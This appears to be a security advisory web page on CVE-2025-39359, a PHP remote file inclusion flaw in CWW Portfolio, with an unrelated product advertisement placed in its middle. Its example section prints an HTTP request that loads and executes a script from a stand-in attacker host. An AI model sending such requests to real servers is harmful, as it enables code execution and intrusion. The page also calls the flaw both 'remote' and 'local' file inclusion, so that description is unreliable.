Overview
The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web’s CWW Portfolio software. It involves an improper control of filename for Include/Require Statement in a PHP program, also known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.
Vulnerability Summary
CVE ID: CVE-2025-39359
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Code Work Web CWW Portfolio | Up to and including 1.3.1
How the Exploit Works
The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include/Require statement, allowing for malicious file inclusion.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com
In the above example, the attacker’s malicious script located at “http://attacker.com/malicious_script.txt” would be included and executed on the vulnerable web server.
Mitigation and Recommendations
Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.
